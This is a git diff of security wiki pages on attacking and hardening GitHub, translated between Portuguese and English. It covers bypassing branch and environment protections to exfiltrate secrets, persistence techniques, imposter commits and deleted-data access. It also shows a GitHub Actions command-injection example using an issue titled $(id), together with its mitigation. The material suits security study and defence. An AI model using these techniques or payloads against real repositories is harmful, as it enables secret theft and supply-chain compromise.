- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
|
||||
Para uma introdução sobre [**Github Environment, verifique as informações básicas**](basic-github-information.md#git-environments).
|
||||
## Bypass Environments Protections
|
||||
|
||||
Caso um ambiente possa ser **acessado de todas as branches**, ele **não está protegido** e você pode acessar facilmente os segredos dentro do ambiente. Note que você pode encontrar repositórios onde **todas as branches estão protegidas** (especificando seus nomes ou usando `*`); nesse cenário, **encontre uma branch onde você possa enviar código** e você pode **exfiltrar** os segredos criando uma nova github action (ou modificando uma).
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
|
||||
Observe que você pode encontrar o caso extremo onde **todas as branches estão protegidas** (via curinga `*`), é especificado **quem pode enviar código para as branches** (_você pode especificar isso na proteção de branch_) e **seu usuário não é permitido**. Você ainda pode executar uma github action personalizada porque pode criar uma branch e usar o gatilho de push sobre ela mesma. A **proteção de branch permite o push para uma nova branch, então a github action será acionada**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Note que **após a criação** do branch, a **proteção do branch se aplicará ao novo branch** e você não poderá modificá-lo, mas nesse tempo você já terá extraído os segredos.
|
||||
|
||||
## Persistência
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
|
||||
- Gerar **token de usuário**
|
||||
- Roubar **tokens do github** de **segredos**
|
||||
- **Deleção** de **resultados** de workflow e **branches**
|
||||
- Dar **mais permissões a toda a org**
|
||||
- Criar **webhooks** para exfiltrar informações
|
||||
- Convidar **colaboradores externos**
|
||||
- **Remover** **webhooks** usados pelo **SIEM**
|
||||
- Criar/modificar **Github Action** com uma **backdoor**
|
||||
- Encontrar **Github Action vulnerável a injeção de comando** via modificação de valor de **segredo**
|
||||
## Persistence
|
||||
|
||||
### Commits Falsos - Backdoor via commits de repositório
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
|
||||
No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR **não seja aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
|
||||
Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
Para mais informações, consulte [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
## Referências
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
- [Como exploramos o CodeRabbit: de um PR simples a RCE e acesso de gravação em 1M repositórios](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Extensões do Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Autenticando com um GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [Listar instalações para o aplicativo autenticado](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Criar um token de acesso de instalação para um aplicativo](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
## References
|
||||
|
||||
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,5 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,81 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Entendendo o risco
|
||||
## Understanding the risk
|
||||
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Pontos-chave:
|
||||
- A renderização ocorre antes da execução. O script de run é gerado com todas as expressões resolvidas e então executado pelo shell.
|
||||
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que dispara (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting dentro de run: não é uma defesa confiável, porque a injeção acontece na fase de renderização do template. Atacantes podem sair das aspas ou injetar operadores via input maliciosamente construído.
|
||||
Key points:
|
||||
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
|
||||
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
|
||||
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Workflow vulnerável (disparado quando alguém abre uma nova issue):
|
||||
Vulnerable workflow (triggered when someone opens a new issue):
|
||||
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Se um atacante abrir uma issue com o título $(id), o step renderizado torna-se:
|
||||
|
||||
If an attacker opens an issue titled $(id), the rendered step becomes:
|
||||
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
A substituição de comando executa id no runner. Exemplo de saída:
|
||||
|
||||
The command substitution runs id on the runner. Example output:
|
||||
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Por que colocar entre aspas não te salva:
|
||||
- As expressões são renderizadas primeiro, depois o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
|
||||
|
||||
## Padrão seguro (shell variables via env)
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
|
||||
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
|
||||
|
||||
Mitigação correta: copie a entrada não confiável para uma variável de ambiente, depois use a expansão nativa do shell ($VAR) no run script. Não re-incorpore com ${{ ... }} dentro do comando.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notas:
|
||||
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Contas com apenas permissão de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado pelo atacante, a menos que se prove o contrário. Exemplos:
|
||||
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
@@ -93,4 +101,4 @@ Which specific fields are attacker-controlled is event-specific. Consult GitHub
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,56 +1,58 @@
|
||||
# Dados Excluídos Acessíveis no Github
|
||||
# Accessible Deleted Data in Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Essas maneiras de acessar dados do Github que supostamente foram excluídos foram [**reportadas neste post do blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Acessando Dados de Forks Excluídos
|
||||
## Accessing Deleted Fork Data
|
||||
|
||||
1. Você faz um fork de um repositório público.
|
||||
2. Você comita código no seu fork.
|
||||
3. Você exclui seu fork.
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
|
||||
> [!CAUTION]
|
||||
> Os dados comitados no fork excluído ainda são acessíveis.
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
|
||||
## Acessando Dados de Repositórios Excluídos
|
||||
## Accessing Deleted Repo Data
|
||||
|
||||
1. Você tem um repositório público no GitHub.
|
||||
2. Um usuário faz um fork do seu repositório.
|
||||
3. Você comita dados após eles fazerem o fork (e eles nunca sincronizam seu fork com suas atualizações).
|
||||
4. Você exclui o repositório inteiro.
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Mesmo que você tenha excluído seu repositório, todas as alterações feitas nele ainda são acessíveis através dos forks.
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
|
||||
## Acessando Dados de Repositórios Privados
|
||||
## Accessing Private Repo Data
|
||||
|
||||
1. Você cria um repositório privado que eventualmente será tornado público.
|
||||
2. Você cria uma versão interna privada desse repositório (via fork) e comita código adicional para recursos que você não vai tornar públicos.
|
||||
3. Você torna seu repositório “upstream” público e mantém seu fork privado.
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
|
||||
> [!CAUTION]
|
||||
> É possível acessar todos os dados enviados para o fork interno no período entre a criação do fork interno e a versão pública sendo tornada pública.
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
|
||||
## Como descobrir commits de forks excluídos/ocultos
|
||||
## How to discover commits from deleted/hidden forks
|
||||
|
||||
O mesmo post do blog propõe 2 opções:
|
||||
The same blog post propose 2 options:
|
||||
|
||||
### Acessando diretamente o commit
|
||||
### Directly accessing the commit
|
||||
|
||||
Se o valor do ID do commit (sha-1) for conhecido, é possível acessá-lo em `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Forçando valores SHA-1 curtos
|
||||
### Brute-forcing short SHA-1 values
|
||||
|
||||
É o mesmo para acessar ambos:
|
||||
It's the same to access both of these:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
E o último usa um sha-1 curto que é forçável.
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,257 +1,263 @@
|
||||
# Informações Básicas do Github
|
||||
# Basic Github Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Estrutura Básica
|
||||
## Basic Structure
|
||||
|
||||
A estrutura básica do ambiente github de uma grande **company** é ter uma **enterprise** que possui **diversas organizations** e cada uma delas pode conter **vários repositories** e **várias teams.**. Empresas menores podem simplesmente **possuir uma organization e nenhuma enterprise**.
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
|
||||
Do ponto de vista do usuário, um **user** pode ser **member** de **diferentes enterprises e organizations**. Dentro delas o usuário pode ter **diferentes enterprise, organization e repository roles**.
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
|
||||
Além disso, um usuário pode fazer **parte de diferentes teams** com diferentes enterprise, organization ou repository roles.
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
|
||||
E finalmente **os repositories podem ter mecanismos especiais de proteção**.
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Privilégios
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: Pessoas com esse role podem **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. No entanto, eles **não podem acessar organization settings ou conteúdo** a menos que sejam tornados organization owner ou recebam acesso direto a um repository pertencente à organization.
|
||||
- **Enterprise members**: Membros das organizations possuídas pela sua enterprise também são **automaticamente members da enterprise**.
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
Em uma organization os usuários podem ter diferentes roles:
|
||||
In an organisation users can have different roles:
|
||||
|
||||
- **Organization owners**: Organization owners têm **complete administrative access to your organization**. Esse role deve ser limitado, mas não menor que duas pessoas na sua organization.
|
||||
- **Organization members**: O role **default**, não-administrativo para **pessoas em uma organization** é o organization member. Por padrão, organization members **têm uma série de permissões**.
|
||||
- **Billing managers**: Billing managers são usuários que podem **manage the billing settings for your organization**, como informações de pagamento.
|
||||
- **Security Managers**: É um role que organization owners podem atribuir a qualquer team dentro de uma organization. Quando aplicado, dá a cada membro do team permissões para **manage security alerts and settings across your organization, as well as read permissions for all repositories** na organization.
|
||||
- Se sua organization tem um security team, você pode usar o security manager role para dar aos membros do team o menor acesso necessário à organization.
|
||||
- **Github App managers**: Para permitir que usuários adicionais **manage GitHub Apps owned by an organization**, um owner pode conceder a eles GitHub App manager permissions.
|
||||
- **Outside collaborators**: Um outside collaborator é uma pessoa que tem **access to one or more organization repositories but is not explicitly a member** da organization.
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
|
||||
Você pode **comparar as permissões** desses roles nesta tabela: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
Em _https://github.com/organizations/\<org_name>/settings/member_privileges_ você pode ver as **permissões que os users terão apenas por fazer parte da organization**.
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
|
||||
As configurações aqui indicadas vão determinar as seguintes permissões dos members da organization:
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
|
||||
- Ser admin, writer, reader ou sem permissão sobre todos os repositories da organization.
|
||||
- Se os members podem criar repositories private, internal ou public.
|
||||
- Se o fork de repositories é possível.
|
||||
- Se é possível convidar outside collaborators.
|
||||
- Se sites public ou private podem ser publicados.
|
||||
- As permissões que admins têm sobre os repositories.
|
||||
- Se os members podem criar novos teams.
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
|
||||
### Repository Roles
|
||||
|
||||
Por padrão os repository roles são criados:
|
||||
By default repository roles are created:
|
||||
|
||||
- **Read**: Recomendado para **non-code contributors** que querem visualizar ou discutir seu projeto.
|
||||
- **Triage**: Recomendado para **contributors who need to proactively manage issues and pull requests** sem acesso de escrita.
|
||||
- **Write**: Recomendado para contributors que **actively push to your project**.
|
||||
- **Maintain**: Recomendado para **project managers who need to manage the repository** sem acesso a ações sensíveis ou destrutivas.
|
||||
- **Admin**: Recomendado para pessoas que precisam de **full access to the project**, incluindo ações sensíveis e destrutivas como gerenciar segurança ou deletar um repository.
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
|
||||
Você pode **comparar as permissões** de cada role nesta tabela [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Você também pode **criar seus próprios roles** em _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
Você pode **listar as teams criadas em uma organization** em _https://github.com/orgs/\<org_name>/teams_. Note que para ver as teams que são children de outras teams você precisa acessar cada parent team.
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
|
||||
### Users
|
||||
|
||||
Os users de uma organization podem ser **listados** em _https://github.com/orgs/\<org_name>/people._
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
Nas informações de cada user você pode ver as **teams das quais o user é member**, e os **repos aos quais o user tem access**.
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github oferece diferentes maneiras de autenticar na sua conta e executar ações em seu nome.
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
|
||||
### Web Access
|
||||
|
||||
Acessando **github.com** você pode login usando seu **username and password** (e um **2FA potencialmente**).
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
Você pode configurar sua conta com uma ou várias public keys permitindo que a private key relacionada execute ações em seu nome. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
Você **não pode impersonate o user com essas keys** mas se você não as usar pode ser possível que você **seja descoberto por enviar commits sem assinatura**. Saiba mais sobre [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Você pode gerar personal access token para **dar a uma aplicação acesso à sua conta**. Ao criar um personal access token o **user** precisa **especificar** as **permissões** que o **token** terá. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications podem pedir permissões **para acessar parte das suas informações do github ou para impersonate você** para executar algumas ações. Um exemplo comum dessa funcionalidade é o botão **login with github** que você pode encontrar em algumas plataformas.
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
|
||||
- Você pode **create** suas próprias **Oauth applications** em [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Você pode ver todas as **Oauth applications que têm acesso à sua conta** em [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Você pode ver os **scopes que Oauth Apps podem solicitar** em [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Você pode ver o acesso de terceiros por aplicações em uma **organization** em _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Algumas **recomendações de segurança**:
|
||||
Some **security recommendations**:
|
||||
|
||||
- Um **OAuth App** deve sempre **act as the authenticated GitHub user across all of GitHub** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos scopes especificados.
|
||||
- Um OAuth App pode ser usado como um provedor de identidade habilitando um "Login with GitHub" para o usuário autenticado.
|
||||
- **Não** construa um **OAuth App** se você quer que sua aplicação atue em um **single repository**. Com o scope `repo`, OAuth Apps podem **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Não** construa um OAuth App para atuar como uma aplicação para o seu **team ou company**. OAuth Apps autenticam como um **single user**, então se uma pessoa cria um OAuth App para uso da empresa e depois sai da empresa, mais ninguém terá acesso a ele.
|
||||
- **Mais** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
